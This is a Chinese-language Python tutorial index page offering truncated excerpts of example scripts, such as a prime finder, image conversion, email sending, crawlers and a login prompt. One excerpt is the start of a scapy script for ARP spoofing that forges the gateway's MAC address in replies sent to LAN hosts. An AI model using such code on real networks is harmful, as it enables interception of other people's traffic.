Python教程
Python教程:包含了所有代写案例以及部分答案
-
def prime(b): t=b/2 for i in range(2,t+1): if b%i==0: break else: return b if __name__=="__main__": a=input(‘please input the first number:’) b=input(‘please input the next number:’) list=[] for i in range(a,b+1): if prime(i): list.append(p … 继续阅读“python 找出a-b之间的质数”
:
-
pil功能强大,convert方法可以轻易的将图片转换,下面的代码可以将图片转换成黑白效果 from PIL import Image image_file = Image.open("convert_image.png") # open colour image image_file = image_file.convert(‘1’) # convert image to black and white image_file.save(‘result.png’) 标签:py … 继续阅读“python通过pil将图片转换成黑白效果”
:
-
#coding:utf-8 ”’ arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc ”’ from scapy.all import ARP,send,arping import sys,re stdout=sys.stdout IPADDR="192.168.1.*" gateway_ip=’192.168.1.1′ #伪造网关mac地址 gateway_hw=’00:11:22:33:44:55′ p=ARP(op = 2,hwsrc = gate … 继续阅读“python arp欺骗伪造网关代码”
:
-
from email.mime.text import MIMEText import smtplib import getpass msg = MIMEText(‘这是一封来自python的纯文本邮件’,’plain’,’utf-8′) from_addr = ‘发件人邮箱地址’ password = getpass.getpass(‘Password:’) smtp_server = ‘smtp.163.com’ smtp_port = 994 to_addr = ‘收件人邮箱地址*’ se … 继续阅读“Python SMTP 发送纯文本”
:
-
#!/usr/bin/env python import os import os.path import urllib import socket import imghdr from multiprocessing import Pool from urlparse import urlparse results = [] exceptions = [] def callback(result): print ‘result:’, result if result: results.appe … 继续阅读“python 128进程,图片爬虫,增量更新,可作为标准组件”
:
-
#!/usr/bin/env python3 """ turtle-example-suite: tdemo_bytedesign.py An example adapted from the example-suite of PythonCard’s turtle graphics. It’s based on an article in BYTE magazine Problem Solving with Logo: Using Turtle Graphics … 继续阅读“python 分形图”
:
-
#!/usr/bin/env python import sys ”’简单的购物菜单,根据输入的金额,减去选择的商品得到剩下的金额, 一旦省下的金额小于所有的商品价格,提示余额不足”’ product = [] price = [] f = open(‘act.txt’) for line in f.readlines(): p = line.split()[0] pp = line.split()[1] product.append(p) price.append(int(pp)) f.c … 继续阅读“python 购物”
:
-
import urllib2,re for key in open(‘key.txt’): do = "http://suggest.taobao.com/sug?code=utf-8&q=%s" % key.rstrip() _re = re.findall(‘\[\"(.*?)\",\".*?\"\]’,urllib2.urlopen(do).read()) for i in _re : print i 标签:pyt … 继续阅读“python 抓取淘宝下拉框关键词”
:
-
#!/usr/bin/env python # -*- coding:utf-8 -*- import getpass logintimes = 0 while logintimes < 3: name=raw_input("Please input your username:") pwd=getpass.getpass("Please input your password:") if name==’wxy’ and pwd==’123′: #正 … 继续阅读“python编写登录接口”
: